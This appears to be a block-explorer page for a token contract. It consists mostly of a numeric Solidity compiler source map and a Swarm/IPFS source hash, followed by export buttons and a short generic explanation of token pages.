;;;;;;;;;;;;::::0;::::1;;;;;;10265:90;-1:-1:-1::0;;5963:8:0;:16;;-1:-1:-1;;5963:16:0;;;-1:-1:-1;;;;;;;;9299:1063:0:o;11232:160::-;-1:-1:-1;;;;;11338:19:0;;11313:4;11338:19;;;:11;:19;;;;;;;;11337:20;:47;;;;-1:-1:-1;;;;;;;11362:22:0;;;;;:11;:22;;;;;;;;11361:23;;11232:160;-1:-1:-1;11232:160:0:o;11627:590::-;11713:7;11769:1;11736:30;11748:6;11756:9;11736:11;:30::i;:::-;:34;11733:462;;;11782:17;11802:59;11830:30;11842:6;11850:9;11830:11;:30::i;:::-;11813:11;;11802:23;;:6;;:10;:23::i;:59::-;11917:4;11899:24;;;;:9;:24;;;;;;11782:79;;-1:-1:-1;11899:39:0;;11782:79;11899:28;:39::i;:::-;11890:4;11872:24;;;;:9;:24;;;;;;;:66;;;;11954:42;;-1:-1:-1;;;;;11954:42:0;;;;;;;11986:9;160:25:1;;148:2;133:18;;14:177;11954:42:0;;;;;;;;12028:1;12010:7;;:20;:64;;;;;12067:7;;12034:30;12046:6;12054:9;12034:11;:30::i;:::-;:40;12010:64;12007:148;;;12076:77;12094:4;6322:42;12116:36;12144:7;;12116:23;12127:11;;12116:6;:10;;:23;;;;:::i;:36::-;12076:9;:77::i;:::-;12172:21;:6;12183:9;12172:10;:21::i;:::-;12165:28;;;;;11733:462;-1:-1:-1;12203:6:0;11627:590;-1:-1:-1;;11627:590:0:o;1540:98::-;1598:7;1625:5;1629:1;1625;:5;:::i;1646:98::-;1704:7;1731:5;1735:1;1731;:5;:::i;11400:219::-;11515:4;;11479:7;;-1:-1:-1;;;;;11515:4:0;;;11502:17;;;;11499:38;;-1:-1:-1;11528:7:0;;11521:14;;11499:38;11560:4;;-1:-1:-1;;;;;11560:4:0;;;11550:14;;;;11547:36;;-1:-1:-1;11573:8:0;;11566:15;;11547:36;-1:-1:-1;11600:11:0;;11400:219;;;;:::o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:598::-;1483:6;1491;1499;1507;1560:3;1548:9;1539:7;1535:23;1531:33;1528:53;;;1577:1;1574;1567:12;1528:53;1616:9;1603:23;1635:31;1660:5;1635:31;:::i;:::-;1685:5;-1:-1:-1;1742:2:1;1727:18;;1714:32;1755:33;1714:32;1755:33;:::i;:::-;1807:7;-1:-1:-1;1866:2:1;1851:18;;1838:32;1879:33;1838:32;1879:33;:::i;:::-;1397:598;;;;-1:-1:-1;1931:7:1;;1985:2;1970:18;1957:32;;-1:-1:-1;;1397:598:1:o;2000:456::-;2077:6;2085;2093;2146:2;2134:9;2125:7;2121:23;2117:32;2114:52;;;2162:1;2159;2152:12;2114:52;2201:9;2188:23;2220:31;2245:5;2220:31;:::i;:::-;2270:5;-1:-1:-1;2327:2:1;2312:18;;2299:32;2340:33;2299:32;2340:33;:::i;:::-;2000:456;;2392:7;;-1:-1:-1;;;2446:2:1;2431:18;;;;2418:32;;2000:456::o;2650:247::-;2709:6;2762:2;2750:9;2741:7;2737:23;2733:32;2730:52;;;2778:1;2775;2768:12;2730:52;2817:9;2804:23;2836:31;2861:5;2836:31;:::i;2902:118::-;2988:5;2981:13;2974:21;2967:5;2964:32;2954:60;;3010:1;3007;3000:12;3025:382;3090:6;3098;3151:2;3139:9;3130:7;3126:23;3122:32;3119:52;;;3167:1;3164;3157:12;3119:52;3206:9;3193:23;3225:31;3250:5;3225:31;:::i;:::-;3275:5;-1:-1:-1;3332:2:1;3317:18;;3304:32;3345:30;3304:32;3345:30;:::i;:::-;3394:7;3384:17;;;3025:382;;;;;:::o;3620:388::-;3688:6;3696;3749:2;3737:9;3728:7;3724:23;3720:32;3717:52;;;3765:1;3762;3755:12;3717:52;3804:9;3791:23;3823:31;3848:5;3823:31;:::i;:::-;3873:5;-1:-1:-1;3930:2:1;3915:18;;3902:32;3943:33;3902:32;3943:33;:::i;4393:245::-;4460:6;4513:2;4501:9;4492:7;4488:23;4484:32;4481:52;;;4529:1;4526;4519:12;4481:52;4561:9;4555:16;4580:28;4602:5;4580:28;:::i;4643:341::-;4845:2;4827:21;;;4884:2;4864:18;;;4857:30;-1:-1:-1;;;4918:2:1;4903:18;;4896:47;4975:2;4960:18;;4643:341::o;4989:251::-;5059:6;5112:2;5100:9;5091:7;5087:23;5083:32;5080:52;;;5128:1;5125;5118:12;5080:52;5160:9;5154:16;5179:31;5204:5;5179:31;:::i;6698:127::-;6759:10;6754:3;6750:20;6747:1;6740:31;6790:4;6787:1;6780:15;6814:4;6811:1;6804:15;6830:128;6897:9;;;6918:11;;;6915:37;;;6932:18;;:::i;9239:125::-;9304:9;;;9325:10;;;9322:36;;;9338:18;;:::i;9501:127::-;9562:10;9557:3;9553:20;9550:1;9543:31;9593:4;9590:1;9583:15;9617:4;9614:1;9607:15;9633:980;9895:4;9943:3;9932:9;9928:19;9974:6;9963:9;9956:25;10000:2;10038:6;10033:2;10022:9;10018:18;10011:34;10081:3;10076:2;10065:9;10061:18;10054:31;10105:6;10140;10134:13;10171:6;10163;10156:22;10209:3;10198:9;10194:19;10187:26;;10248:2;10240:6;10236:15;10222:29;;10269:1;10279:195;10293:6;10290:1;10287:13;10279:195;;;10358:13;;-1:-1:-1;;;;;10354:39:1;10342:52;;10449:15;;;;10414:12;;;;10390:1;10308:9;10279:195;;;-1:-1:-1;;;;;;;10530:32:1;;;;10525:2;10510:18;;10503:60;-1:-1:-1;;;10594:3:1;10579:19;10572:35;10491:3;9633:980;-1:-1:-1;;;9633:980:1:o;11230:306::-;11318:6;11326;11334;11387:2;11375:9;11366:7;11362:23;11358:32;11355:52;;;11403:1;11400;11393:12;11355:52;11432:9;11426:16;11416:26;;11482:2;11471:9;11467:18;11461:25;11451:35;;11526:2;11515:9;11511:18;11505:25;11495:35;;11230:306;;;;;:::o;11541:168::-;11614:9;;;11645;;11662:15;;;11656:22;;11642:37;11632:71;;11683:18;;:::i;11714:217::-;11754:1;11780;11770:132;;11824:10;11819:3;11815:20;11812:1;11805:31;11859:4;11856:1;11849:15;11887:4;11884:1;11877:15;11770:132;-1:-1:-1;11916:9:1;;11714:217::o

Swarm Source

ipfs://00994fc28f68dead7a57268e2cbcd55bd9e3c8d49be100c4777470e6dea8d276
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.